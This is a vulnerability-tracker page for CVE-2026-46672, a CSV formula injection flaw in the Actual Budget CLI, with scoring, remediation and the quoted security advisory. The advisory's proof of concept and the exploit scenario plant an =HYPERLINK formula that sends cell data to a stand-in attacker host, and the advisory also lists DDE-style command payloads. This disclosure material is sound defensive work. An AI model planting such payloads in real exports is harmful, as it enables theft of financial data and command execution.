Skip to main content

Actual Budget CLI CVE-2026-46672

| EUVDEUVD-2026-42079 MEDIUM
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-06-22 https://github.com/actualbudget/actual GHSA-7gh7-258j-4mpq
4.6
CVSS 3.1 · Vendor: https://github.com/actualbudget/actual
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker plants formula string in budget field via sync/import
  2. Delivery
    Victim exports data with --format csv
  3. Exploit
    escapeCsv preserves formula prefix unchanged
  4. Execution
    Victim opens local CSV in Excel/Sheets
  5. Persist
    Spreadsheet evaluates formula
  6. Impact
    Financial data exfiltrated to attacker endpoint

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

The attack requires three concurrent conditions: (1) The attacker must have the ability to write a formula-prefixed string into a user-controlled field in the victim's budget database - realistic vectors include co-user or collaborator access on a synced budget, compromise of a shared sync server session, or crafting a malicious OFX/QIF/CSV import file that the victim ingests. (2) The victim must run any list or query subcommand (transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, or query) with the --format csv global option. (3) The victim must open the resulting CSV file in Excel, LibreOffice Calc, or Google Sheets. A critical amplifying factor is that CSV files generated locally by the CLI are not subject to Office Protected View or Mark-of-the-Web restrictions, so formulas evaluate immediately on open without any additional security prompt. Exploitation is limited to the --format csv code path only; --format json and --format table are unaffected. No network listener or active C2 infrastructure is required on the attacker side for basic formula execution; data exfiltration via =HYPERLINK or =WEBSERVICE does require a remote endpoint.

Impact

The NVD-assigned CVSS 3.1 score is 4.6 (Medium) with vector AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The local attack vector (AV:L) reflects that exploitation culminates in a locally generated and opened CSV file rather than a direct network attack; however, the initial injection step can originate remotely via a shared sync server, OFX/QIF/CSV import, or co-user write access. The required user interaction (UI:R) - the victim must both run the export command and open the file in a spreadsheet application - meaningfully limits opportunistic exploitation. Scope change (S:C) is correctly set because impact crosses from the CLI process into the spreadsheet application context. No EPSS score was provided for this CVE, so probability-based triage is not available. No CISA KEV listing exists, indicating no confirmed broad in-the-wild exploitation as of analysis. A detailed proof-of-concept is included in the GHSA advisory, confirming exploitability without specialized tooling. The legacy DDE-based RCE path on outdated Excel installations (noted in the advisory) is a higher-severity tail risk that the CVSS C:L/I:L ratings do not fully capture. Realistic blast radius is bounded by the two-step requirement: attacker write access to budget data AND victim opens the exported CSV in a spreadsheet - both conditions are plausible for a personal-finance application with sync and import features, but this is not a zero-click, unauthenticated remote exploit.

Exploit ScenarioDerived

An attacker with write access to a shared Actual Budget sync server - or who sends the victim a crafted OFX/QIF/CSV import file - sets a payee name to =HYPERLINK("http://attacker.evil/leak?d="&B2,"Bank refund"). When the victim later runs actual transactions list --format csv > out.csv and opens out.csv in Excel or Google Sheets, the payee cell renders as a clickable hyperlink; clicking it (or automatic evaluation in WEBSERVICE/IMPORTXML configurations) exfiltrates adjacent cell content - such as dates, amounts, or account names - to the attacker's server. A proof-of-concept demonstrating this exact scenario is included in the GHSA-7gh7-258j-4mpq advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

CSV formula injection in @actual-app/cli versions prior to 26.6.0 allows an attacker who can write user-controlled strings into an Actual Budget database to execute arbitrary spreadsheet formulas when the victim exports data using the --format csv flag and opens the resulting file in Excel, LibreOffice Calc, or Google Sheets. The vulnerable escapeCsv helper in packages/cli/src/output.ts neutralizes only RFC 4180 delimiters and quotes but does not strip formula-trigger prefixes (=, +, -, @, tab, CR), meaning payloads in payee names, account names, categories, notes, or tags survive into the CSV output unchanged. A publicly available proof-of-concept is included in the GHSA-7gh7-258j-4mpq advisory; no CISA KEV listing exists at time of analysis.

RemediationAI

Upgrade @actual-app/cli to version 26.6.0 or later, which is the vendor-confirmed patched release per the npm package advisory data. The fix should prepend a single-quote character to any string value beginning with a formula-trigger prefix (=, +, -, @, TAB, CR) before RFC 4180 quoting, as recommended by OWASP for CWE-1236; the GHSA advisory provides an exact code patch for packages/cli/src/output.ts. Separately, apply an equivalent fix to packages/loot-core/src/server/transactions/export/export-to-csv.ts by passing a cast option to csv-stringify that prepends a single-quote to trigger-prefixed strings - this is an independent code path and must be patched independently. As a compensating control where upgrading is not immediately possible, avoid using --format csv for any export that will be opened in a spreadsheet application, and instead use --format json or --format table, which are not affected by spreadsheet formula evaluation. Note that using --format json eliminates the exfil risk entirely but changes downstream tooling requirements. Full advisory and patch details: https://github.com/actualbudget/actual/security/advisories/GHSA-7gh7-258j-4mpq.

Affected VersionsENISA

actual < 26.6.0

Affected Packages

npm @actual-app/cli fix: 26.6.0
euvd actual fix: 26.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is @actual-app/cli (pkg:npm/@actual-app_cli), a Node.js/TypeScript command-line interface for the Actual Budget personal finance application. The vulnerability is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The root cause is in the hand-rolled escapeCsv function at packages/cli/src/output.ts:98-103, which wraps values in RFC 4180 double-quoting when they contain commas, double-quotes, or newlines, but takes no action on values that begin with spreadsheet formula-trigger characters (=, +, -, @, TAB, CR). Critically, RFC 4180 double-quoting does not prevent formula evaluation: Excel, LibreOffice Calc, and Google Sheets interpret the leading character of the unquoted cell value, so a double-quoted "=HYPERLINK(...)" on disk still evaluates as a formula in the spreadsheet. The data flow runs from user-controlled string fields (payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names) through formatCellValue - which only coerces known numeric AMOUNT_FIELDS - into escapeCsv and directly into the CSV output stream. The advisory also identifies a distinct but parallel injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts using csv-stringify; that file requires a separate fix and is not addressed by patching the CLI package alone.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/actualbudget/actual) PRIMARY 4.6 MEDIUM
AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.6 MEDIUM

AV:L reflects local file-open exploitation trigger; PR:L as attacker requires budget write access; UI:R for victim spreadsheet open; S:C for scope crossing into spreadsheet application; no availability impact.

3.1 AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:L/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/actualbudget/actual).

CVSS VectorVendor: https://github.com/actualbudget/actual

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings - transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query - will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) - they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

ts
function escapeCsv(value: string): string {
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets - the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

  1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.
  2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).
  3. For each row, every column is run through formatCellValue (output.ts:21-26):
ts
   function formatCellValue(key: string, value: unknown): string {
     if (isAmountValue(key, value)) {
       return (value / 100).toFixed(2);
     }
     return String(value ?? '');
   }

Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields - payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names - are passed verbatim to escapeCsv.

  1. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

  • The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
  • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
  • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
  • Sending the victim a crafted OFX/QIF/CSV import file.
  • API write access (e.g., over a compromised sync session).
  • The victim runs actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time - choose any user-controlled field; payee shown):

bash
# Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync):
actual transactions add \
  --account "$ACCOUNT_ID" \
  --data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'

Trigger (victim runs):

bash
actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv
cat out.csv

Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):

id,date,amount,payee,notes,category,account,cleared,reconciled
abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false

Open out.csv in Excel / LibreOffice Calc / Google Sheets → the payee cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (B2 = the date, but trivially adjustable to any cell) to the attacker.

Minimal-payload variants that bypass escapeCsv entirely (no ,, ", or \n → no quoting at all):

  • Payee name =1+1 → cell shows 2.
  • Payee name @SUM(1+1) → cell shows 2.
  • Payee name +1+1 → cell shows 2.
  • Payee name -2+3 → cell shows 1.

The same applies to other list commands sharing the global --format option:

bash
actual accounts list   --format csv
# account.name
actual payees   list   --format csv
# payee.name
actual categories list --format csv
# category.name
actual tags list       --format csv
actual category-groups list --format csv
actual rules list      --format csv
actual schedules list  --format csv
actual query "..."     --format csv

Verified by reading escapeCsv (packages/cli/src/output.ts:98-103): the only escape triggers are ,, ", \n, and even when triggered the leading character is preserved.

Impact

  • Data exfiltration in the victim's spreadsheet context via =HYPERLINK(...), =WEBSERVICE(...), =IMPORTXML(...) (Sheets), =IMPORTDATA(...) (Sheets) - typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT* on confirmation. Victim's financial data (account names, balances, transactions in adjacent cells) is the natural exfil target.
  • Arbitrary formula execution in the victim's spreadsheet context, including legacy DDE-style payloads on outdated Excel installations (potential RCE).
  • Trust-boundary crossing: financial data the victim assumes is "exported" becomes attacker-controlled active content. The CLI is the victim's own trusted tool; users do not expect actual transactions list --format csv to produce a file that runs code.

Blast radius is bounded by the requirement that the attacker plant a string in a user-controlled field and the victim opens the CSV in a spreadsheet - but both are realistic for a personal-finance app whose primary export workflow is "open in Excel".

Recommended Fix

Neutralize formula-trigger prefixes in escapeCsv *before* the existing RFC 4180 quoting. Example:

ts
// packages/cli/src/output.ts
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;

function escapeCsv(value: string): string {
  // Neutralize spreadsheet formula prefixes (CWE-1236).
  if (FORMULA_TRIGGERS.test(value)) {
    value = "'" + value;
  }
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The leading single-quote is the OWASP-recommended neutralizer: it is stripped by Excel/Calc on display but prevents formula evaluation. Apply the same fix in packages/loot-core/src/server/transactions/export/export-to-csv.ts by passing a cast option to csv-stringify that prepends ' to any string starting with a formula trigger - the two sites are independent and both must be patched.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
niche personal finance CLI tool, limited production footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy